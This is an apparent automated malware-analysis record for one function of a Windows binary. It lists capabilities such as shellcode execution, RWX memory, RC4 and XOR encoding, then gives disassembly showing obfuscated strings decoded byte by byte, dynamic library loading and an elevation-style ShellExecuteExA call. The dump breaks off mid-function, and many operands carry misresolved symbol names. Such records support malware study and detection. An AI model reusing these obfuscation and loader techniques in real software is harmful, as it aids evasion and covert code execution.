Function at 0x140013bb0
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Get number of processors
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48578]
mov eax, 0x48650
call fcn.14008d740
sub rsp, rax
mov rax, qword [0x1400dc700]
xor rax, rsp
mov qword [rbp + 0x48540], rax
mov edi, 0x843444
mov ecx, edi
call fcn.1400042e0
lea rdx, [0x1400d15c0]
lea rcx, [rbp + 0xd40]
call fcn.14002ed88
mov rdx, rax
mov ecx, edi
call fcn.14000a89c
mov byte [rbp + 0x180], reloc.WLDAP32.dll_Ordinal_27
mov r15d, 9
mov r9d, r15d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x180]
call fcn.14002e000
mov byte [rbp + 0x181], al
mov r9d, r15d
lea r14d, [r15 - 8]
mov r8d, r14d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x180]
call fcn.14002e000
mov byte [rbp + 0x182], al
mov r9d, r15d
lea r8d, [r15 - 7]
mov dl, 0x64
lea rcx, [rbp + 0x180]
call fcn.14002e000
mov byte [rbp + 0x183], al
mov r9d, r15d
lea r8d, [r15 - 6]
mov dl, 0x6c
lea rcx, [rbp + 0x180]
call fcn.14002e000
mov byte [rbp + 0x184], al
mov r9d, r15d
lea r13d, [r15 - 5]
mov r8d, r13d
mov dl, 0x6c
lea rcx, [rbp + 0x180]
call fcn.14002e000
mov byte [rbp + 0x185], al
mov r9d, r15d
lea ebx, [r15 - 4]
mov r8d, ebx
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x180]
call fcn.14002e000
mov byte [rbp + 0x186], al
mov r9d, r15d
lea esi, [rbx + 1]
mov r8d, esi
mov dl, 0x64
lea rcx, [rbp + 0x180]
call fcn.14002e000
mov byte [rbp + 0x187], al
mov r9d, r15d
lea r12d, [r15 - 2]
mov r8d, r12d
mov dl, 0x6c
lea rcx, [rbp + 0x180]
call fcn.14002e000
mov byte [rbp + 0x188], al
mov r9d, r15d
lea r8d, [r15 - 1]
mov dl, 0x6c
lea rcx, [rbp + 0x180]
call fcn.14002e000
mov byte [rbp + 0x189], al
xor eax, eax
mov byte [rbp + 0x18a], al
mov edi, eax
mov r9, r15
mov r8, rdi
mov dl, byte [rbp + rdi + 0x181]
lea rcx, [rbp + 0x180]
call fcn.14002e000
mov byte [rbp + rdi + 0x181], al
add rdi, r14
cmp rdi, r15
jb 0x140013d2d
xor eax, eax
mov byte [rbp + 0x18a], al
lea rcx, [rbp + 0x181]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov byte [rbp + 0x1f0], WSACleanup
mov edi, ntohs
mov r9d, edi
xor r8d, r8d
mov dl, 0x6b
lea rcx, [rbp + 0x1f0]
call fcn.14002e6fc
mov byte [rbp + 0x1f1], al
mov r9d, edi
mov r8, r14
mov dl, 0x65
lea rcx, [rbp + 0x1f0]
call fcn.14002e6fc
mov byte [rbp + 0x1f2], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, WSAStartup
lea rcx, [rbp + 0x1f0]
call fcn.14002e6fc
mov byte [rbp + 0x1f3], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x1f0]
call fcn.14002e6fc
mov byte [rbp + 0x1f4], al
mov r9d, edi
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x1f0]
call fcn.14002e6fc
mov byte [rbp + 0x1f5], al
mov r9d, edi
mov r8, rbx
mov dl, 0x6c
lea rcx, [rbp + 0x1f0]
call fcn.14002e6fc
mov byte [rbp + 0x1f6], al
mov r9d, edi
mov r8, rsi
mov dl, 0x33
lea rcx, [rbp + 0x1f0]
call fcn.14002e6fc
mov byte [rbp + 0x1f7], al
mov r9d, edi
mov r8, r12
mov dl, reloc.WLDAP32.dll_Ordinal_50
lea rcx, [rbp + 0x1f0]
call fcn.14002e6fc
mov byte [rbp + 0x1f8], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x1f0]
call fcn.14002e6fc
mov byte [rbp + 0x1f9], al
mov r9d, edi
mov r8, r15
mov dl, 0x64
lea rcx, [rbp + 0x1f0]
call fcn.14002e6fc
mov byte [rbp + 0x1fa], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, 0x6c
lea rcx, [rbp + 0x1f0]
call fcn.14002e6fc
mov byte [rbp + 0x1fb], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, 0x6c
lea rcx, [rbp + 0x1f0]
call fcn.14002e6fc
mov byte [rbp + 0x1fc], al
xor eax, eax
mov byte [rbp + 0x1fd], al
mov edi, eax
mov r9d, ntohs
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1f1]
lea rcx, [rbp + 0x1f0]
call fcn.14002e6fc
mov byte [rbp + rdi + 0x1f1], al
add rdi, r14
cmp rdi, 0xc
jb 0x140013ebd
xor esi, esi
mov byte [rbp + 0x1fd], sil
lea rcx, [rbp + 0x1f1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.140013148
test eax, eax
jne 0x140014895
mov edi, esi
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x28430]
call fcn.1400b4da0
mov r8d, ebx
lea rdx, [rbp + 0x28430]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1400140a9
xor edx, edx
lea r8d, [rsi + 0x60]
lea rcx, [rbp + 0xe40]
call fcn.1400b4da0
mov dword [rbp + 0xe30], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xe34], 0x400
mov qword [rbp + 0xe38], rsi
mov byte [rbp + 0x710], reloc.WS2_32.dll_socket
lea ebx, [rsi + 5]
mov r9d, ebx
xor r8d, r8d
mov dl, WSAStartup
lea rcx, [rbp + 0x710]
call fcn.14002e684
mov byte [rbp + 0x711], al
mov r9d, ebx
mov r8, r14
mov dl, 0x75
lea rcx, [rbp + 0x710]
call fcn.14002e684
mov byte [rbp + 0x712], al
mov r9d, ebx
lea r8d, [rsi + 2]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x710]
call fcn.14002e684
mov byte [rbp + 0x713], al
mov r9d, ebx
lea r8d, [rsi + 3]
mov dl, 0x61
lea rcx, [rbp + 0x710]
call fcn.14002e684
mov byte [rbp + 0x714], al
mov r9d, ebx
mov r8, r13
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x710]
call fcn.14002e684
mov byte [rbp + 0x715], al
xor eax, eax
mov byte [rbp + 0x716], al
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x711]
lea rcx, [rbp + 0x710]
call fcn.14002e684
mov byte [rbp + rdi + 0x711], al
add rdi, r14
cmp rdi, rbx
jb 0x14001400a
xor ecx, ecx
mov byte [rbp + 0x716], cl
lea rax, [rbp + 0x711]
mov qword [rbp + 0xe40], rax
lea rax, [rbp + 0x28430]
mov qword [rbp + 0xe48], rax
mov word [rbp + 0xb48], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xb49], cl
lea rax, [rbp + 0xb49]
mov qword [rbp + 0xe50], rax
xor eax, eax
mov qword [rbp + 0xe58], rax
mov dword [rbp + 0xe60], r14d
mov qword [rbp + 0xe68], rax
lea rcx, [rbp + 0xe30]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x14002bf16
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x1400140ae
mov ebx, 5
mov byte [rbp - 0x28], 0x4b
mov r9, r14
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_41
lea rcx, [rbp - 0x28]
call fcn.14002f6e0
mov byte [rbp - 0x27], al
xor ecx, ecx
mov byte [rbp - 0x26], cl
mov r9, r14
xor r8d, r8d
mov dl, al
lea rcx, [rbp - 0x28]
call fcn.14002e4b4
mov byte [rbp - 0x27], al
mov byte [rbp - 0x26], sil
mov edx, edi
lea rcx, [rbp + 0xc80]
call fcn.14001302c
mov qword [rsp + 0x60], rax
mov byte [rbp + 0x990], WSASetLastError
mov edi, reloc.WLDAP32.dll_Ordinal_45
mov r9d, edi
xor r8d, r8d
mov dl, 0x50
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x991], al
mov r9d, edi
mov r8, r14
mov dl, 0x6c
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x992], al
mov r9d, edi
lea r8d, [rdi - 0x2b]
mov dl, 0x65
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x993], al
mov r9d, edi
lea r8d, [rdi - 0x2a]
mov dl, 0x61
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x994], al
mov r9d, edi
mov r8, r13
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x995], al
mov r9d, edi
mov r8, rbx
mov dl, 0x65
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x996], al
mov r9d, edi
lea r8d, [rdi - 0x27]
lea r14d, [rdi - 0xd]
mov dl, r14b
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x997], al
mov r9d, edi
mov r8, r12
mov dl, 0x4c
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x998], al
mov r9d, edi
lea r8d, [rdi - 0x25]
mov dl, 0x61
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x999], al
mov r9d, edi
mov r8, r15
mov dl, 0x75
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x99a], al
mov r9d, edi
lea r8d, [rdi - 0x23]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x99b], al
mov r9d, edi
lea r8d, [rdi - 0x22]
mov dl, 0x63
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x99c], al
mov r9d, edi
lea r8d, [rdi - 0x21]
mov dl, 0x68
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x99d], al
mov r9d, edi
lea r8d, [rdi - 0x20]
mov dl, r14b
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x99e], al
mov r9d, edi
lea r8d, [rdi - 0x1f]
mov dl, 0x42
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x99f], al
mov r9d, edi
lea r8d, [rdi - 0x1e]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x9a0], al
mov r9d, edi
lea r12d, [rdi - 0x1d]
mov r8d, r12d
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x9a1], al
mov r9d, edi
lea ebx, [rdi - 0x1c]
mov r8d, ebx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x9a2], al
mov r9d, edi
lea r8d, [rdi - 0x1b]
mov dl, 0x53
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x9a3], al
mov r9d, edi
lea r8d, [rdi - 0x1a]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x9a4], al
mov r9d, edi
lea r8d, [rdi - 0x19]
mov dl, WSAStartup
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x9a5], al
mov r9d, edi
lea r8d, [rdi - 0x18]
mov dl, 0x61
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x9a6], al
mov r9d, edi
lea r8d, [rdi - 0x17]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x9a7], al
mov r9d, edi
lea r8d, [rdi - 0x16]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x9a8], al
mov r9d, edi
lea r8d, [rdi - 0x15]
mov dl, 0x65
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x9a9], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, WSAStartup
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x9aa], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, r14b
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x9ab], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, 0x61
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x9ac], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x9ad], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, r14b
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x9ae], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x41
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x9af], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, 0x64
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x9b0], al
mov r9d, edi
mov r8d, r14d
mov dl, 0x6d
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x9b1], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, 0x69
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x9b2], al
mov r9d, edi
lea r8d, [rdi - 0xb]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x9b3], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, 0x69
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x9b4], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x9b5], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x9b6], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, WSAStartup
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x9b7], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, 0x61
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x9b8], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x9b9], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x9ba], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, WSAStartup
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x9bb], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, r14b
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x9bc], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, Ordinal_41
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + 0x9bd], al
xor eax, eax
mov byte [rbp + 0x9be], al
mov edi, eax
lea esi, [rbx - 0x10]
mov r9d, reloc.WLDAP32.dll_Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0x991]
lea rcx, [rbp + 0x990]
call fcn.14002e60c
mov byte [rbp + rdi + 0x991], al
add rdi, rsi
cmp rdi, 0x2d
jb 0x1400145d5
xor eax, eax
mov byte [rbp + 0x9be], al
mov r8, qword [rsp + 0x60]
lea rdx, [rbp + 0x991]
lea rcx, [rbp + 0xc60]
call fcn.14002ef90
lea r8, [rbp - 0x27]
mov rdx, rax
lea rcx, [rbp + 0x1070]
call fcn.14002f0a8
lea rcx, [rbp + 0xc60]
call fcn.14002eca0
lea rcx, [rbp + 0xc80]
call fcn.14002eca0
mov byte [rbp + 0x398], 0x50
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x398]
call fcn.14002e0f0
mov byte [rbp + 0x399], al
mov r9, rbx
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x398]
call fcn.14002e0f0
mov byte [rbp + 0x39a], al
mov r9, rbx
mov r8d, 2
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x398]
call fcn.14002e0f0
mov byte [rbp + 0x39b], al
mov r9, rbx
mov r8d, 3
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x398]
call fcn.14002e0f0
mov byte [rbp + 0x39c], al
mov r9, rbx
mov r8, r13
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x398]
call fcn.14002e0f0
mov byte [rbp + 0x39d], al
mov r9, rbx
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x398]
call fcn.14002e0f0
mov byte [rbp + 0x39e], al
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0x398]
call fcn.14002e0f0
mov byte [rbp + 0x39f], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x398]
call fcn.14002e0f0
mov byte [rbp + 0x3a0], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x398]
call fcn.14002e0f0
mov byte [rbp + 0x3a1], al
mov r9, rbx
mov r8, r15
mov dl, r14b
lea rcx, [rbp + 0x398]
call fcn.14002e0f0
mov byte [rbp + 0x3a2], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x46
lea rcx, [rbp + 0x398]
call fcn.14002e0f0
mov byte [rbp + 0x3a3], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x398]
call fcn.14002e0f0
mov byte [rbp + 0x3a4], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x398]
call fcn.14002e0f0
mov byte [rbp + 0x3a5], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x398]
call fcn.14002e0f0
mov byte [rbp + 0x3a6], al
mov r9, rbx
mov r8d, select
mov dl, 0x75
lea rcx, [rbp + 0x398]
call fcn.14002e0f0
mov byte [rbp + 0x3a7], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0x398]
call fcn.14002e0f0
mov byte [rbp + 0x3a8], al
mov r9, rbx
mov r8, r12
mov dl, 0x65
lea rcx, [rbp + 0x398]
call fcn.14002e0f0
mov byte [rbp + 0x3a9], al
xor eax, eax
mov byte [rbp + 0x3aa], al
mov edi, eax
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x399]
lea rcx, [rbp + 0x398]
call fcn.14002e0f0
mov byte [rbp + rdi + 0x399], al
add rdi, rsi
cmp rdi, rbx
jb 0x14001483c
xor eax, eax
mov byte [rbp + 0x3aa], al
lea rcx, [rbp + 0x1070]
call fcn.14002eae4
xor r9d, r9d
lea r8, [rbp + 0x399]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, esi
call fcn.140093e48
int3
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor ecx, ecx
call fcn.140095214
mov rbx, rax
mov edi, 6
mov byte [rbp - 0x24], dil
mov r9, r14
xor r8d, r8d
mov dl, WSAStartup
lea rcx, [rbp - 0x24]
call fcn.14002f6e0
mov byte [rbp - 0x23], al
xor ecx, ecx
mov byte [rbp - 0x22], cl
mov r9, r14
xor r8d, r8d
mov dl, al
lea rcx, [rbp - 0x24]
call fcn.14002e4b4
mov byte [rbp - 0x23], al
mov byte [rbp - 0x22], sil
mov byte [rbp - 0x18], Ordinal_27
mov r9d, edi
xor r8d, r8d
mov dl, 0x43
lea rcx, [rbp - 0x18]
call fcn.14002e590
mov byte [rbp - 0x17], al
mov r9d, edi
mov r8, r14
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp - 0x18]
call fcn.14002e590
mov byte [rbp - 0x16], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, Ordinal_79
lea rcx, [rbp - 0x18]
call fcn.14002e590
mov byte [rbp - 0x15], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x49
lea rcx, [rbp - 0x18]
call fcn.14002e590
mov byte [rbp - 0x14], al
mov r9d, edi
mov r8, r13
mov dl, Ordinal_79
lea rcx, [rbp - 0x18]
call fcn.14002e590
mov byte [rbp - 0x13], al
mov r9d, edi
lea esi, [rdi - 1]
mov r8d, esi
mov dl, 0x24
lea rcx, [rbp - 0x18]
call fcn.14002e590
mov byte [rbp - 0x12], al
xor eax, eax
mov byte [rbp - 0x11], al
mov edi, eax
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x17]
lea rcx, [rbp - 0x18]
call fcn.14002e590
mov byte [rbp + rdi - 0x17], al
add rdi, r14
cmp rdi, 6
jb 0x140014967
xor edi, edi
mov byte [rbp - 0x11], dil
mov r9, rbx
lea r8, [rbp - 0x23]
lea rdx, [rbp - 0x17]
lea rcx, [rbp + 0xdb0]
call fcn.140098598
lea ecx, [rdi + 2]
call fcn.140095214
mov rbx, rax
mov byte [rbp - 0x20], 0x65
mov r9, r14
xor r8d, r8d
mov dl, 0x77
lea rcx, [rbp - 0x20]
call fcn.14002f6e0
mov byte [rbp - 0x1f], al
xor ecx, ecx
mov byte [rbp - 0x1e], cl
mov r9, r14
xor r8d, r8d
mov dl, al
lea rcx, [rbp - 0x20]
call fcn.14002e4b4
mov byte [rbp - 0x1f], al
mov byte [rbp - 0x1e], dil
mov byte [rbp - 0x10], 0x5b
mov r9, r12
xor r8d, r8d
mov dl, 0x43
lea rcx, [rbp - 0x10]
call fcn.14002e518
mov byte [rbp - 0xf], al
mov r9, r12
mov r8, r14
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp - 0x10]
call fcn.14002e518
mov byte [rbp - 0xe], al
mov r9, r12
lea r8d, [rdi + 2]
mov dl, Ordinal_79
lea rcx, [rbp - 0x10]
call fcn.14002e518
mov byte [rbp - 0xd], al
mov r9, r12
lea r8d, [rdi + 3]
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp - 0x10]
call fcn.14002e518
mov byte [rbp - 0xc], al
mov r9, r12
mov r8, r13
mov dl, 0x55
lea rcx, [rbp - 0x10]
call fcn.14002e518
mov byte [rbp - 0xb], al
mov r9, r12
mov r8, rsi
mov dl, 0x54
lea rcx, [rbp - 0x10]
call fcn.14002e518
mov byte [rbp - 0xa], al
mov r9, r12
lea r8d, [rdi + 6]
mov dl, 0x24
lea rcx, [rbp - 0x10]
call fcn.14002e518
mov byte [rbp - 9], al
xor eax, eax
mov byte [rbp - 8], al
mov r9, r12
mov r8, rdi
mov dl, byte [rbp + rdi - 0xf]
lea rcx, [rbp - 0x10]
call fcn.14002e518
mov byte [rbp + rdi - 0xf], al
add rdi, r14
cmp rdi, r12
jb 0x140014a7f
xor edi, edi
mov byte [rbp - 8], dil
mov r9, rbx
lea r8, [rbp - 0x1f]
lea rdx, [rbp - 0xf]
lea rcx, [rbp + 0xdb0]
call fcn.140098598
mov ecx, r14d
call fcn.140095214
mov rbx, rax
mov byte [rbp - 0x1c], 0x5d
mov r9, r14
xor r8d, r8d
mov dl, 0x77
lea rcx, [rbp - 0x1c]
call fcn.14002f6e0
mov byte [rbp - 0x1b], al
xor ecx, ecx
mov byte [rbp - 0x1a], cl
mov r9, r14
xor r8d, r8d
mov dl, al
lea rcx, [rbp - 0x1c]
call fcn.14002e4b4
mov byte [rbp - 0x1b], al
mov byte [rbp - 0x1a], dil
mov byte [rbp], Ordinal_50
mov r9, r12
xor r8d, r8d
mov dl, 0x43
lea rcx, [rbp]
call fcn.14002e518
mov byte [rbp + 1], al
mov r9, r12
mov r8, r14
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp]
call fcn.14002e518
mov byte [rbp + 2], al
mov r9, r12
lea r8d, [rdi + 2]
mov dl, Ordinal_79
lea rcx, [rbp]
call fcn.14002e518
mov byte [rbp + 3], al
mov r9, r12
lea r8d, [rdi + 3]
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp]
call fcn.14002e518
mov byte [rbp + 4], al
mov r9, r12
mov r8, r13
mov dl, 0x55
lea rcx, [rbp]
call fcn.14002e518
mov byte [rbp + 5], al
mov r9, r12
mov r8, rsi
mov dl, 0x54
lea rcx, [rbp]
call fcn.14002e518
mov byte [rbp + 6], al
mov r9, r12
lea r8d, [rdi + 6]
mov dl, 0x24
lea rcx, [rbp]
call fcn.14002e518
mov byte [rbp + 7], al
xor eax, eax
mov byte [rbp + 8], al
mov r9, r12
mov r8, rdi
mov dl, byte [rbp + rdi + 1]
lea rcx, [rbp]
call fcn.14002e518
mov byte [rbp + rdi + 1], al
add rdi, r14
cmp rdi, r12
jb 0x140014b93
xor eax, eax
mov byte [rbp + 8], al
mov r9, rbx
lea r8, [rbp - 0x1b]
lea rdx, [rbp + 1]
lea rcx, [rbp + 0xdb0]
call fcn.140098598
mov byte [rbp + 0xad0], WSACleanup
mov edi, 0x3e
mov r9d, edi
xor r8d, r8d
mov dl, 0x50
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xad1], al
mov r9d, edi
mov r8, r14
mov dl, WSAStartup
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xad2], al
mov r9d, edi
lea r8d, [rdi - 0x3c]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xad3], al
mov r9d, edi
lea r8d, [rdi - 0x3b]
mov dl, 0x63
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xad4], al
mov r9d, edi
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xad5], al
mov r9d, edi
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xad6], al
mov r9d, edi
lea r8d, [rdi - 0x38]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xad7], al
mov r9d, edi
mov r8, r12
mov dl, 0x69
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xad8], al
mov r9d, edi
lea r8d, [rdi - 0x36]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xad9], al
mov r9d, edi
mov r8, r15
mov dl, 0x67
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xada], al
mov r9d, edi
lea r8d, [rdi - 0x34]
lea r14d, [rdi - 0x1e]
mov dl, r14b
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xadb], al
mov r9d, edi
lea r8d, [rdi - 0x33]
mov dl, 0x43
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xadc], al
mov r9d, edi
lea r8d, [rdi - 0x32]
mov dl, 0x6c
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xadd], al
mov r9d, edi
lea r8d, [rdi - 0x31]
mov dl, 0x69
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xade], al
mov r9d, edi
lea r8d, [rdi - 0x30]
mov dl, 0x65
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xadf], al
mov r9d, edi
lea r8d, [rdi - 0x2f]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xae0], al
mov r9d, edi
lea r8d, [rdi - 0x2e]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xae1], al
mov r12d, edi
mov r9d, edi
lea r8d, [rdi - 0x2d]
mov dl, r14b
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xae2], al
mov r9d, edi
lea r8d, [rdi - 0x2c]
mov dl, 0x44
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xae3], al
mov r9d, edi
lea r8d, [rdi - 0x2b]
mov dl, 0x61
lea rcx, [rbp + 0xad0]
